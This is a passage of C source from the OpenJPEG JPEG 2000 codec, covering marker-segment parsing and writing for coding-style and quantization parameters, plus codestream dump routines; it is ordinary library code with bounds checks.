opj_j2k_create_cstr_index(void) { opj_codestream_index_t* cstr_index = (opj_codestream_index_t*) opj_calloc(1, sizeof(opj_codestream_index_t)); if (!cstr_index) { return NULL; } cstr_index->maxmarknum = 100; cstr_index->marknum = 0; cstr_index->marker = (opj_marker_info_t*) opj_calloc(cstr_index->maxmarknum, sizeof(opj_marker_info_t)); if (!cstr_index-> marker) { opj_free(cstr_index); return NULL; } cstr_index->tile_index = NULL; return cstr_index; } static OPJ_UINT32 opj_j2k_get_SPCod_SPCoc_size(opj_j2k_t *p_j2k, OPJ_UINT32 p_tile_no, OPJ_UINT32 p_comp_no) { opj_cp_t *l_cp = 00; opj_tcp_t *l_tcp = 00; opj_tccp_t *l_tccp = 00; /* preconditions */ assert(p_j2k != 00); l_cp = &(p_j2k->m_cp); l_tcp = &l_cp->tcps[p_tile_no]; l_tccp = &l_tcp->tccps[p_comp_no]; /* preconditions again */ assert(p_tile_no < (l_cp->tw * l_cp->th)); assert(p_comp_no < p_j2k->m_private_image->numcomps); if (l_tccp->csty & J2K_CCP_CSTY_PRT) { return 5 + l_tccp->numresolutions; } else { return 5; } } static OPJ_BOOL opj_j2k_compare_SPCod_SPCoc(opj_j2k_t *p_j2k, OPJ_UINT32 p_tile_no, OPJ_UINT32 p_first_comp_no, OPJ_UINT32 p_second_comp_no) { OPJ_UINT32 i; opj_cp_t *l_cp = NULL; opj_tcp_t *l_tcp = NULL; opj_tccp_t *l_tccp0 = NULL; opj_tccp_t *l_tccp1 = NULL; /* preconditions */ assert(p_j2k != 00); l_cp = &(p_j2k->m_cp); l_tcp = &l_cp->tcps[p_tile_no]; l_tccp0 = &l_tcp->tccps[p_first_comp_no]; l_tccp1 = &l_tcp->tccps[p_second_comp_no]; if (l_tccp0->numresolutions != l_tccp1->numresolutions) { return OPJ_FALSE; } if (l_tccp0->cblkw != l_tccp1->cblkw) { return OPJ_FALSE; } if (l_tccp0->cblkh != l_tccp1->cblkh) { return OPJ_FALSE; } if (l_tccp0->cblksty != l_tccp1->cblksty) { return OPJ_FALSE; } if (l_tccp0->qmfbid != l_tccp1->qmfbid) { return OPJ_FALSE; } if ((l_tccp0->csty & J2K_CCP_CSTY_PRT) != (l_tccp1->csty & J2K_CCP_CSTY_PRT)) { return OPJ_FALSE; } for (i = 0U; i < l_tccp0->numresolutions; ++i) { if (l_tccp0->prcw[i] != l_tccp1->prcw[i]) { return OPJ_FALSE; } if (l_tccp0->prch[i] != l_tccp1->prch[i]) { return OPJ_FALSE; } } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_write_SPCod_SPCoc(opj_j2k_t *p_j2k, OPJ_UINT32 p_tile_no, OPJ_UINT32 p_comp_no, OPJ_BYTE * p_data, OPJ_UINT32 * p_header_size, struct opj_event_mgr * p_manager) { OPJ_UINT32 i; opj_cp_t *l_cp = 00; opj_tcp_t *l_tcp = 00; opj_tccp_t *l_tccp = 00; /* preconditions */ assert(p_j2k != 00); assert(p_header_size != 00); assert(p_manager != 00); assert(p_data != 00); l_cp = &(p_j2k->m_cp); l_tcp = &l_cp->tcps[p_tile_no]; l_tccp = &l_tcp->tccps[p_comp_no]; /* preconditions again */ assert(p_tile_no < (l_cp->tw * l_cp->th)); assert(p_comp_no < (p_j2k->m_private_image->numcomps)); if (*p_header_size < 5) { opj_event_msg(p_manager, EVT_ERROR, "Error writing SPCod SPCoc element\n"); return OPJ_FALSE; } opj_write_bytes(p_data, l_tccp->numresolutions - 1, 1); /* SPcoc (D) */ ++p_data; opj_write_bytes(p_data, l_tccp->cblkw - 2, 1); /* SPcoc (E) */ ++p_data; opj_write_bytes(p_data, l_tccp->cblkh - 2, 1); /* SPcoc (F) */ ++p_data; opj_write_bytes(p_data, l_tccp->cblksty, 1); /* SPcoc (G) */ ++p_data; opj_write_bytes(p_data, l_tccp->qmfbid, 1); /* SPcoc (H) */ ++p_data; *p_header_size = *p_header_size - 5; if (l_tccp->csty & J2K_CCP_CSTY_PRT) { if (*p_header_size < l_tccp->numresolutions) { opj_event_msg(p_manager, EVT_ERROR, "Error writing SPCod SPCoc element\n"); return OPJ_FALSE; } for (i = 0; i < l_tccp->numresolutions; ++i) { opj_write_bytes(p_data, l_tccp->prcw[i] + (l_tccp->prch[i] << 4), 1); /* SPcoc (I_i) */ ++p_data; } *p_header_size = *p_header_size - l_tccp->numresolutions; } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_read_SPCod_SPCoc(opj_j2k_t *p_j2k, OPJ_UINT32 compno, OPJ_BYTE * p_header_data, OPJ_UINT32 * p_header_size, opj_event_mgr_t * p_manager) { OPJ_UINT32 i, l_tmp; opj_cp_t *l_cp = NULL; opj_tcp_t *l_tcp = NULL; opj_tccp_t *l_tccp = NULL; OPJ_BYTE * l_current_ptr = NULL; /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_header_data != 00); l_cp = &(p_j2k->m_cp); l_tcp = (p_j2k->m_specific_param.m_decoder.m_state == J2K_STATE_TPH) ? &l_cp->tcps[p_j2k->m_current_tile_number] : p_j2k->m_specific_param.m_decoder.m_default_tcp; /* precondition again */ assert(compno < p_j2k->m_private_image->numcomps); l_tccp = &l_tcp->tccps[compno]; l_current_ptr = p_header_data; /* make sure room is sufficient */ if (*p_header_size < 5) { opj_event_msg(p_manager, EVT_ERROR, "Error reading SPCod SPCoc element\n"); return OPJ_FALSE; } opj_read_bytes(l_current_ptr, &l_tccp->numresolutions, 1); /* SPcox (D) */ ++l_tccp->numresolutions; /* tccp->numresolutions = read() + 1 */ if (l_tccp->numresolutions > OPJ_J2K_MAXRLVLS) { opj_event_msg(p_manager, EVT_ERROR, "Invalid value for numresolutions : %d, max value is set in openjpeg.h at %d\n", l_tccp->numresolutions, OPJ_J2K_MAXRLVLS); return OPJ_FALSE; } ++l_current_ptr; /* If user wants to remove more resolutions than the codestream contains, return error */ if (l_cp->m_specific_param.m_dec.m_reduce >= l_tccp->numresolutions) { opj_event_msg(p_manager, EVT_ERROR, "Error decoding component %d.\nThe number of resolutions to remove is higher than the number " "of resolutions of this component\nModify the cp_reduce parameter.\n\n", compno); p_j2k->m_specific_param.m_decoder.m_state |= 0x8000;/* FIXME J2K_DEC_STATE_ERR;*/ return OPJ_FALSE; } opj_read_bytes(l_current_ptr, &l_tccp->cblkw, 1); /* SPcoc (E) */ ++l_current_ptr; l_tccp->cblkw += 2; opj_read_bytes(l_current_ptr, &l_tccp->cblkh, 1); /* SPcoc (F) */ ++l_current_ptr; l_tccp->cblkh += 2; if ((l_tccp->cblkw > 10) || (l_tccp->cblkh > 10) || ((l_tccp->cblkw + l_tccp->cblkh) > 12)) { opj_event_msg(p_manager, EVT_ERROR, "Error reading SPCod SPCoc element, Invalid cblkw/cblkh combination\n"); return OPJ_FALSE; } opj_read_bytes(l_current_ptr, &l_tccp->cblksty, 1); /* SPcoc (G) */ ++l_current_ptr; if (l_tccp->cblksty & 0xC0U) { /* 2 msb are reserved, assume we can't read */ opj_event_msg(p_manager, EVT_ERROR, "Error reading SPCod SPCoc element, Invalid code-block style found\n"); return OPJ_FALSE; } opj_read_bytes(l_current_ptr, &l_tccp->qmfbid, 1); /* SPcoc (H) */ ++l_current_ptr; *p_header_size = *p_header_size - 5; /* use custom precinct size ? */ if (l_tccp->csty & J2K_CCP_CSTY_PRT) { if (*p_header_size < l_tccp->numresolutions) { opj_event_msg(p_manager, EVT_ERROR, "Error reading SPCod SPCoc element\n"); return OPJ_FALSE; } for (i = 0; i < l_tccp->numresolutions; ++i) { opj_read_bytes(l_current_ptr, &l_tmp, 1); /* SPcoc (I_i) */ ++l_current_ptr; /* Precinct exponent 0 is only allowed for lowest resolution level (Table A.21) */ if ((i != 0) && (((l_tmp & 0xf) == 0) || ((l_tmp >> 4) == 0))) { opj_event_msg(p_manager, EVT_ERROR, "Invalid precinct size\n"); return OPJ_FALSE; } l_tccp->prcw[i] = l_tmp & 0xf; l_tccp->prch[i] = l_tmp >> 4; } *p_header_size = *p_header_size - l_tccp->numresolutions; } else { /* set default size for the precinct width and height */ for (i = 0; i < l_tccp->numresolutions; ++i) { l_tccp->prcw[i] = 15; l_tccp->prch[i] = 15; } } #ifdef WIP_REMOVE_MSD /* INDEX >> */ if (p_j2k->cstr_info && compno == 0) { OPJ_UINT32 l_data_size = l_tccp->numresolutions * sizeof(OPJ_UINT32); p_j2k->cstr_info->tile[p_j2k->m_current_tile_number].tccp_info[compno].cblkh = l_tccp->cblkh; p_j2k->cstr_info->tile[p_j2k->m_current_tile_number].tccp_info[compno].cblkw = l_tccp->cblkw; p_j2k->cstr_info->tile[p_j2k->m_current_tile_number].tccp_info[compno].numresolutions = l_tccp->numresolutions; p_j2k->cstr_info->tile[p_j2k->m_current_tile_number].tccp_info[compno].cblksty = l_tccp->cblksty; p_j2k->cstr_info->tile[p_j2k->m_current_tile_number].tccp_info[compno].qmfbid = l_tccp->qmfbid; memcpy(p_j2k->cstr_info->tile[p_j2k->m_current_tile_number].pdx, l_tccp->prcw, l_data_size); memcpy(p_j2k->cstr_info->tile[p_j2k->m_current_tile_number].pdy, l_tccp->prch, l_data_size); } /* << INDEX */ #endif return OPJ_TRUE; } static void opj_j2k_copy_tile_component_parameters(opj_j2k_t *p_j2k) { /* loop */ OPJ_UINT32 i; opj_cp_t *l_cp = NULL; opj_tcp_t *l_tcp = NULL; opj_tccp_t *l_ref_tccp = NULL, *l_copied_tccp = NULL; OPJ_UINT32 l_prc_size; /* preconditions */ assert(p_j2k != 00); l_cp = &(p_j2k->m_cp); l_tcp = (p_j2k->m_specific_param.m_decoder.m_state == J2K_STATE_TPH) ? &l_cp->tcps[p_j2k->m_current_tile_number] : p_j2k->m_specific_param.m_decoder.m_default_tcp; l_ref_tccp = &l_tcp->tccps[0]; l_copied_tccp = l_ref_tccp + 1; l_prc_size = l_ref_tccp->numresolutions * (OPJ_UINT32)sizeof(OPJ_UINT32); for (i = 1; i < p_j2k->m_private_image->numcomps; ++i) { l_copied_tccp->numresolutions = l_ref_tccp->numresolutions; l_copied_tccp->cblkw = l_ref_tccp->cblkw; l_copied_tccp->cblkh = l_ref_tccp->cblkh; l_copied_tccp->cblksty = l_ref_tccp->cblksty; l_copied_tccp->qmfbid = l_ref_tccp->qmfbid; memcpy(l_copied_tccp->prcw, l_ref_tccp->prcw, l_prc_size); memcpy(l_copied_tccp->prch, l_ref_tccp->prch, l_prc_size); ++l_copied_tccp; } } static OPJ_UINT32 opj_j2k_get_SQcd_SQcc_size(opj_j2k_t *p_j2k, OPJ_UINT32 p_tile_no, OPJ_UINT32 p_comp_no) { OPJ_UINT32 l_num_bands; opj_cp_t *l_cp = 00; opj_tcp_t *l_tcp = 00; opj_tccp_t *l_tccp = 00; /* preconditions */ assert(p_j2k != 00); l_cp = &(p_j2k->m_cp); l_tcp = &l_cp->tcps[p_tile_no]; l_tccp = &l_tcp->tccps[p_comp_no]; /* preconditions again */ assert(p_tile_no < l_cp->tw * l_cp->th); assert(p_comp_no < p_j2k->m_private_image->numcomps); l_num_bands = (l_tccp->qntsty == J2K_CCP_QNTSTY_SIQNT) ? 1 : (l_tccp->numresolutions * 3 - 2); if (l_tccp->qntsty == J2K_CCP_QNTSTY_NOQNT) { return 1 + l_num_bands; } else { return 1 + 2 * l_num_bands; } } static OPJ_BOOL opj_j2k_compare_SQcd_SQcc(opj_j2k_t *p_j2k, OPJ_UINT32 p_tile_no, OPJ_UINT32 p_first_comp_no, OPJ_UINT32 p_second_comp_no) { opj_cp_t *l_cp = NULL; opj_tcp_t *l_tcp = NULL; opj_tccp_t *l_tccp0 = NULL; opj_tccp_t *l_tccp1 = NULL; OPJ_UINT32 l_band_no, l_num_bands; /* preconditions */ assert(p_j2k != 00); l_cp = &(p_j2k->m_cp); l_tcp = &l_cp->tcps[p_tile_no]; l_tccp0 = &l_tcp->tccps[p_first_comp_no]; l_tccp1 = &l_tcp->tccps[p_second_comp_no]; if (l_tccp0->qntsty != l_tccp1->qntsty) { return OPJ_FALSE; } if (l_tccp0->numgbits != l_tccp1->numgbits) { return OPJ_FALSE; } if (l_tccp0->qntsty == J2K_CCP_QNTSTY_SIQNT) { l_num_bands = 1U; } else { l_num_bands = l_tccp0->numresolutions * 3U - 2U; if (l_num_bands != (l_tccp1->numresolutions * 3U - 2U)) { return OPJ_FALSE; } } for (l_band_no = 0; l_band_no < l_num_bands; ++l_band_no) { if (l_tccp0->stepsizes[l_band_no].expn != l_tccp1->stepsizes[l_band_no].expn) { return OPJ_FALSE; } } if (l_tccp0->qntsty != J2K_CCP_QNTSTY_NOQNT) { for (l_band_no = 0; l_band_no < l_num_bands; ++l_band_no) { if (l_tccp0->stepsizes[l_band_no].mant != l_tccp1->stepsizes[l_band_no].mant) { return OPJ_FALSE; } } } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_write_SQcd_SQcc(opj_j2k_t *p_j2k, OPJ_UINT32 p_tile_no, OPJ_UINT32 p_comp_no, OPJ_BYTE * p_data, OPJ_UINT32 * p_header_size, struct opj_event_mgr * p_manager) { OPJ_UINT32 l_header_size; OPJ_UINT32 l_band_no, l_num_bands; OPJ_UINT32 l_expn, l_mant; opj_cp_t *l_cp = 00; opj_tcp_t *l_tcp = 00; opj_tccp_t *l_tccp = 00; /* preconditions */ assert(p_j2k != 00); assert(p_header_size != 00); assert(p_manager != 00); assert(p_data != 00); l_cp = &(p_j2k->m_cp); l_tcp = &l_cp->tcps[p_tile_no]; l_tccp = &l_tcp->tccps[p_comp_no]; /* preconditions again */ assert(p_tile_no < l_cp->tw * l_cp->th); assert(p_comp_no < p_j2k->m_private_image->numcomps); l_num_bands = (l_tccp->qntsty == J2K_CCP_QNTSTY_SIQNT) ? 1 : (l_tccp->numresolutions * 3 - 2); if (l_tccp->qntsty == J2K_CCP_QNTSTY_NOQNT) { l_header_size = 1 + l_num_bands; if (*p_header_size < l_header_size) { opj_event_msg(p_manager, EVT_ERROR, "Error writing SQcd SQcc element\n"); return OPJ_FALSE; } opj_write_bytes(p_data, l_tccp->qntsty + (l_tccp->numgbits << 5), 1); /* Sqcx */ ++p_data; for (l_band_no = 0; l_band_no < l_num_bands; ++l_band_no) { l_expn = (OPJ_UINT32)l_tccp->stepsizes[l_band_no].expn; opj_write_bytes(p_data, l_expn << 3, 1); /* SPqcx_i */ ++p_data; } } else { l_header_size = 1 + 2 * l_num_bands; if (*p_header_size < l_header_size) { opj_event_msg(p_manager, EVT_ERROR, "Error writing SQcd SQcc element\n"); return OPJ_FALSE; } opj_write_bytes(p_data, l_tccp->qntsty + (l_tccp->numgbits << 5), 1); /* Sqcx */ ++p_data; for (l_band_no = 0; l_band_no < l_num_bands; ++l_band_no) { l_expn = (OPJ_UINT32)l_tccp->stepsizes[l_band_no].expn; l_mant = (OPJ_UINT32)l_tccp->stepsizes[l_band_no].mant; opj_write_bytes(p_data, (l_expn << 11) + l_mant, 2); /* SPqcx_i */ p_data += 2; } } *p_header_size = *p_header_size - l_header_size; return OPJ_TRUE; } static OPJ_BOOL opj_j2k_read_SQcd_SQcc(opj_j2k_t *p_j2k, OPJ_UINT32 p_comp_no, OPJ_BYTE* p_header_data, OPJ_UINT32 * p_header_size, opj_event_mgr_t * p_manager ) { /* loop*/ OPJ_UINT32 l_band_no; opj_cp_t *l_cp = 00; opj_tcp_t *l_tcp = 00; opj_tccp_t *l_tccp = 00; OPJ_BYTE * l_current_ptr = 00; OPJ_UINT32 l_tmp, l_num_band; /* preconditions*/ assert(p_j2k != 00); assert(p_manager != 00); assert(p_header_data != 00); l_cp = &(p_j2k->m_cp); /* come from tile part header or main header ?*/ l_tcp = (p_j2k->m_specific_param.m_decoder.m_state == J2K_STATE_TPH) ? &l_cp->tcps[p_j2k->m_current_tile_number] : p_j2k->m_specific_param.m_decoder.m_default_tcp; /* precondition again*/ assert(p_comp_no < p_j2k->m_private_image->numcomps); l_tccp = &l_tcp->tccps[p_comp_no]; l_current_ptr = p_header_data; if (*p_header_size < 1) { opj_event_msg(p_manager, EVT_ERROR, "Error reading SQcd or SQcc element\n"); return OPJ_FALSE; } *p_header_size -= 1; opj_read_bytes(l_current_ptr, &l_tmp, 1); /* Sqcx */ ++l_current_ptr; l_tccp->qntsty = l_tmp & 0x1f; l_tccp->numgbits = l_tmp >> 5; if (l_tccp->qntsty == J2K_CCP_QNTSTY_SIQNT) { l_num_band = 1; } else { l_num_band = (l_tccp->qntsty == J2K_CCP_QNTSTY_NOQNT) ? (*p_header_size) : (*p_header_size) / 2; if (l_num_band > OPJ_J2K_MAXBANDS) { opj_event_msg(p_manager, EVT_WARNING, "While reading CCP_QNTSTY element inside QCD or QCC marker segment, " "number of subbands (%d) is greater to OPJ_J2K_MAXBANDS (%d). So we limit the number of elements stored to " "OPJ_J2K_MAXBANDS (%d) and skip the rest. \n", l_num_band, OPJ_J2K_MAXBANDS, OPJ_J2K_MAXBANDS); /*return OPJ_FALSE;*/ } } #ifdef USE_JPWL if (l_cp->correct) { /* if JPWL is on, we check whether there are too many subbands */ if (/*(l_num_band < 0) ||*/ (l_num_band >= OPJ_J2K_MAXBANDS)) { opj_event_msg(p_manager, JPWL_ASSUME ? EVT_WARNING : EVT_ERROR, "JPWL: bad number of subbands in Sqcx (%d)\n", l_num_band); if (!JPWL_ASSUME) { opj_event_msg(p_manager, EVT_ERROR, "JPWL: giving up\n"); return OPJ_FALSE; } /* we try to correct */ l_num_band = 1; opj_event_msg(p_manager, EVT_WARNING, "- trying to adjust them\n" "- setting number of bands to %d => HYPOTHESIS!!!\n", l_num_band); }; }; #endif /* USE_JPWL */ if (l_tccp->qntsty == J2K_CCP_QNTSTY_NOQNT) { for (l_band_no = 0; l_band_no < l_num_band; l_band_no++) { opj_read_bytes(l_current_ptr, &l_tmp, 1); /* SPqcx_i */ ++l_current_ptr; if (l_band_no < OPJ_J2K_MAXBANDS) { l_tccp->stepsizes[l_band_no].expn = (OPJ_INT32)(l_tmp >> 3); l_tccp->stepsizes[l_band_no].mant = 0; } } *p_header_size = *p_header_size - l_num_band; } else { for (l_band_no = 0; l_band_no < l_num_band; l_band_no++) { opj_read_bytes(l_current_ptr, &l_tmp, 2); /* SPqcx_i */ l_current_ptr += 2; if (l_band_no < OPJ_J2K_MAXBANDS) { l_tccp->stepsizes[l_band_no].expn = (OPJ_INT32)(l_tmp >> 11); l_tccp->stepsizes[l_band_no].mant = l_tmp & 0x7ff; } } *p_header_size = *p_header_size - 2 * l_num_band; } /* Add Antonin : if scalar_derived -> compute other stepsizes */ if (l_tccp->qntsty == J2K_CCP_QNTSTY_SIQNT) { for (l_band_no = 1; l_band_no < OPJ_J2K_MAXBANDS; l_band_no++) { l_tccp->stepsizes[l_band_no].expn = ((OPJ_INT32)(l_tccp->stepsizes[0].expn) - (OPJ_INT32)((l_band_no - 1) / 3) > 0) ? (OPJ_INT32)(l_tccp->stepsizes[0].expn) - (OPJ_INT32)((l_band_no - 1) / 3) : 0; l_tccp->stepsizes[l_band_no].mant = l_tccp->stepsizes[0].mant; } } return OPJ_TRUE; } static void opj_j2k_copy_tile_quantization_parameters(opj_j2k_t *p_j2k) { OPJ_UINT32 i; opj_cp_t *l_cp = NULL; opj_tcp_t *l_tcp = NULL; opj_tccp_t *l_ref_tccp = NULL; opj_tccp_t *l_copied_tccp = NULL; OPJ_UINT32 l_size; /* preconditions */ assert(p_j2k != 00); l_cp = &(p_j2k->m_cp); l_tcp = p_j2k->m_specific_param.m_decoder.m_state == J2K_STATE_TPH ? &l_cp->tcps[p_j2k->m_current_tile_number] : p_j2k->m_specific_param.m_decoder.m_default_tcp; l_ref_tccp = &l_tcp->tccps[0]; l_copied_tccp = l_ref_tccp + 1; l_size = OPJ_J2K_MAXBANDS * sizeof(opj_stepsize_t); for (i = 1; i < p_j2k->m_private_image->numcomps; ++i) { l_copied_tccp->qntsty = l_ref_tccp->qntsty; l_copied_tccp->numgbits = l_ref_tccp->numgbits; memcpy(l_copied_tccp->stepsizes, l_ref_tccp->stepsizes, l_size); ++l_copied_tccp; } } static void opj_j2k_dump_tile_info(opj_tcp_t * l_default_tile, OPJ_INT32 numcomps, FILE* out_stream) { if (l_default_tile) { OPJ_INT32 compno; fprintf(out_stream, "\t default tile {\n"); fprintf(out_stream, "\t\t csty=%#x\n", l_default_tile->csty); fprintf(out_stream, "\t\t prg=%#x\n", l_default_tile->prg); fprintf(out_stream, "\t\t numlayers=%d\n", l_default_tile->numlayers); fprintf(out_stream, "\t\t mct=%x\n", l_default_tile->mct); for (compno = 0; compno < numcomps; compno++) { opj_tccp_t *l_tccp = &(l_default_tile->tccps[compno]); OPJ_UINT32 resno; OPJ_INT32 bandno, numbands; /* coding style*/ fprintf(out_stream, "\t\t comp %d {\n", compno); fprintf(out_stream, "\t\t\t csty=%#x\n", l_tccp->csty); fprintf(out_stream, "\t\t\t numresolutions=%d\n", l_tccp->numresolutions); fprintf(out_stream, "\t\t\t cblkw=2^%d\n", l_tccp->cblkw); fprintf(out_stream, "\t\t\t cblkh=2^%d\n", l_tccp->cblkh); fprintf(out_stream, "\t\t\t cblksty=%#x\n", l_tccp->cblksty); fprintf(out_stream, "\t\t\t qmfbid=%d\n", l_tccp->qmfbid); fprintf(out_stream, "\t\t\t preccintsize (w,h)="); for (resno = 0; resno < l_tccp->numresolutions; resno++) { fprintf(out_stream, "(%d,%d) ", l_tccp->prcw[resno], l_tccp->prch[resno]); } fprintf(out_stream, "\n"); /* quantization style*/ fprintf(out_stream, "\t\t\t qntsty=%d\n", l_tccp->qntsty); fprintf(out_stream, "\t\t\t numgbits=%d\n", l_tccp->numgbits); fprintf(out_stream, "\t\t\t stepsizes (m,e)="); numbands = (l_tccp->qntsty == J2K_CCP_QNTSTY_SIQNT) ? 1 : (OPJ_INT32)l_tccp->numresolutions * 3 - 2; for (bandno = 0; bandno < numbands; bandno++) { fprintf(out_stream, "(%d,%d) ", l_tccp->stepsizes[bandno].mant, l_tccp->stepsizes[bandno].expn); } fprintf(out_stream, "\n"); /* RGN value*/ fprintf(out_stream, "\t\t\t roishift=%d\n", l_tccp->roishift); fprintf(out_stream, "\t\t }\n"); } /*end of component of default tile*/ fprintf(out_stream, "\t }\n"); /*end of default tile*/ } } void j2k_dump(opj_j2k_t* p_j2k, OPJ_INT32 flag, FILE* out_stream) { /* Check if the flag is compatible with j2k file*/ if ((flag & OPJ_JP2_INFO) || (flag & OPJ_JP2_IND)) { fprintf(out_stream, "Wrong flag\n"); return; } /* Dump the image_header */ if (flag & OPJ_IMG_INFO) { if (p_j2k->m_private_image) { j2k_dump_image_header(p_j2k->m_private_image, 0, out_stream); } } /* Dump the codestream info from main header */ if (flag & OPJ_J2K_MH_INFO) { if (p_j2k->m_private_image) { opj_j2k_dump_MH_info(p_j2k, out_stream); } } /* Dump all tile/codestream info */ if (flag & OPJ_J2K_TCH_INFO) { OPJ_UINT32 l_nb_tiles = p_j2k->m_cp.th * p_j2k->m_cp.tw; OPJ_UINT32 i; opj_tcp_t * l_tcp = p_j2k->m_cp.tcps; if (p_j2k->m_private_image) { for (i = 0; i < l_nb_tiles; ++i) { opj_j2k_dump_tile_info(l_tcp, (OPJ_INT32)p_j2k->m_private_image->numcomps, out_stream); ++l_tcp; } } } /* Dump the codestream info of the current tile */ if (flag & OPJ_J2K_TH_INFO) { } /* Dump the codestream index from main header */ if (flag & OPJ_J2K_MH_IND) { opj_j2k_dump_MH_index(p_j2k, out_stream); } /* Dump the codestream index of the current tile */ if (flag & OPJ_J2K_TH_IND) { } } static void opj_j2k_dump_MH_index(opj_j2k_t* p_j2k, FILE* out_stream) { opj_codestream_index_t* cstr_index = p_j2k->cstr_index; OPJ_UINT32 it_marker, it_tile, it_tile_part; fprintf(out_stream, "Codestream index from main header: {\n"); fprintf(out_stream, "\t Main header start position=%" PRIi64 "\n" "\t Main header end position=%" PRIi64 "\n", cstr_index->main_head_start, cstr_index->main_head_end); fprintf(out_stream, "\t Marker list: {\n"); if (cstr_index->marker) { for (it_marker = 0; it_marker < cstr_index->marknum ; it_marker++) { fprintf(out_stream, "\t\t type=%#x, pos=%" PRIi64 ", len=%d\n", cstr_index->marker[it_marker].type, cstr_index->marker[it_marker].pos, cstr_index->marker[it_marker].len); } } fprintf(out_stream, "\t }\n"); if (cstr_index->tile_index) { /* Simple test to avoid to write empty information*/ OPJ_UINT32 l_acc_nb_of_tile_part = 0; for (it_tile = 0; it_tile < cstr_index->nb_of_tiles ; it_tile++) { l_acc_nb_of_tile_part += cstr_index->tile_index[it_tile].nb_tps; } if (l_acc_nb_of_tile_part) { fprintf(out_stream, "\t Tile index: {\n"); for (it_tile = 0; it_tile < cstr_index->nb_of_tiles ; it_tile++) { OPJ_UINT32 nb_of_tile_part = cstr_index->tile_index[it_tile].nb_tps; fprintf(out_stream, "\t\t nb of tile-part in tile [%d]=%d\n", it_tile, nb_of_tile_part); if (cstr_index->tile_index[it_tile].tp_index) { for (it_tile_part = 0; it_tile_part < nb_of_tile_part; it_tile_part++) { fprintf(out_stream, "\t\t\t tile-part[%d]: star_pos=%" PRIi64 ", end_header=%" PRIi64 ", end_pos=%" PRIi64 ".\n", it_tile_part, cstr_index->tile_index[it_tile].tp_index[it_tile_part].start_pos, cstr_index->tile_index[it_tile].tp_index[it_tile_part].end_header, cstr_index->tile_index[it_tile].tp_index[it_tile_part].end_pos); } } if (cstr_index->tile_index[it_tile].marker) { for (it_marker = 0; it_marker < cstr_index->tile_index[it_tile].marknum ; it_marker++) { fprintf(out_stream, "\t\t type=%#x, pos=%" PRIi64 ", len=%d\n", cstr_index->tile_index[it_tile].marker[it_marker].type, cstr_index->tile_index[it_tile].marker[it_marker].pos, cstr_index->tile_index[it_tile].marker[it_marker].len); } } } fprintf(out_stream, "\t }\n"); } } fprintf(out_stream, "}\n"); } static void opj_j2k_dump_MH_info(opj_j2k_t* p_j2k, FILE* out_stream) { fprintf(out_stream, "Codestream info from main header: {\n"); fprintf(out_stream, "\t tx0=%d, ty0=%d\n", p_j2k->m_cp.tx0, p_j2k->m_cp.ty0); fprintf(out_stream, "\t tdx=%d, tdy=%d\n", p_j2k->m_cp.tdx, p_j2k->m_cp.tdy); fprintf(out_stream, "\t tw=%d, th=%d\n", p_j2k->m_cp.tw, p_j2k->m_cp.th); opj_j2k_dump_tile_info(p_j2k->m_specific_param.m_decoder.m_default_tcp, (OPJ_INT32)p_j2k->m_private_image->numcomps, out_stream); fprintf(out_stream, "}\n"); } void j2k_dump_image_header(opj_image_t* img_header, OPJ_BOOL dev_dump_flag, FILE* out_stream) { char tab[2]; if (dev_dump_flag) { fprintf(stdout, "[DEV] Dump an image_header struct {\n"); tab[0] = '\0'; } else { fprintf(out_stream, "Image info {\n"); tab[0] = '\t'; tab[1] = '\0'; } fprintf(out_stream, "%s x0=%d, y0=%d\n", tab, img_header->x0, img_header->y0); fprintf(out_stream, "%s x1=%d, y1=%d\n", tab, img_header->x1, img_header->y1); fprintf(out_stream, "%s numcomps=%d\n", tab, img_header->numcomps); if (img_header->comps) { OPJ_UINT32 compno; for (compno = 0; compno < img_header->numcomps; compno++) { fprintf(out_stream, "%s\t component %d {\n", tab, compno); j2k_dump_image_comp_header(&(img_header->comps[compno]), dev_dump_flag, out_stream); fprintf(out_stream, "%s}\n", tab); } } fprintf(out_stream, "}\n"); } void j2k_dump_image_comp_header(opj_image_comp_t* comp_header, OPJ_BOOL dev_dump_flag, FILE* out_stream) { char tab[3]; if (dev_dump_flag) { fprintf(stdout, "[DEV] Dump an image_comp_header struct {\n"); tab[0] = '\0'; } else { tab[0] = '\t'; tab[1] = '\t'; tab[2] = '\0'; } fprintf(out_stream, "%s dx=%d, dy=%d\n", tab, comp_header->dx, comp_header->dy); fprintf(out_stream, "%s prec=%d\n", tab, comp_header->prec); fprintf(out_stream, "%s sgnd=%d\n", tab, comp_header->sgnd); if (dev_dump_flag) { fprintf(out_stream, "}\n"); } } opj_codestream_info_v2_t* j2k_get_cstr_info(opj_j2k_t* p_j2k) { OPJ_UINT32 compno; OPJ_UINT32 numcomps = p_j2k->m_private_image->numcomps; opj_tcp_t *l_default_tile; opj_codestream_info_v2_t* cstr_info = (opj_codestream_info_v2_t*) opj_calloc(1, sizeof(opj_codestream_info_v2_t)); if (!cstr_info) { return NULL; } cstr_info->nbcomps = p_j2k->m_private_image->numcomps; cstr_info->tx0 = p_j2k->m_cp.tx0; cstr_info->ty0 = p_j2k->m_cp.ty0; cstr_info->tdx = p_j2k->m_cp.tdx; cstr_info->tdy = p_j2k->m_cp.tdy; cstr_info->tw = p_j2k->m_cp.tw; cstr_info->th = p_j2k->m_cp.th; cstr_info->tile_info = NULL; /* Not fill from the main header*/ l_default_tile = p_j2k->m_specific_param.m_decoder.m_default_tcp; cstr_info->m_default_tile_info.csty = l_default_tile->csty; cstr_info->m_default_tile_info.prg = l_default_tile->prg; cstr_info->m_default_tile_info.numlayers = l_default_tile->numlayers; cstr_info->m_default_tile_info.mct = l_default_tile->mct; cstr_info->m_default_tile_info.tccp_info = (opj_tccp_info_t*) opj_calloc( cstr_info->nbcomps, sizeof(opj_tccp_info_t)); if (!cstr_info->m_default_tile_info.tccp_info) { opj_destroy_cstr_info(&cstr_info); return NULL; } for (compno = 0; compno < numcomps; compno++) { opj_tccp_t *l_tccp = &(l_default_tile->tccps[compno]); opj_tccp_info_t *l_tccp_info = & (cstr_info->m_default_tile_info.tccp_info[compno]); OPJ_INT32 bandno, numbands; /* coding style*/ l_tccp_info->csty = l_tccp->csty; l_tccp_info->numresolutions = l_tccp->numresolutions; l_tccp_info->cblkw = l_tccp->cblkw; l_tccp_info->cblkh = l_tccp->cblkh; l_tccp_info->cblksty = l_tccp->cblksty; l_tccp_info->qmfbid = l_tccp->qmfbid; if 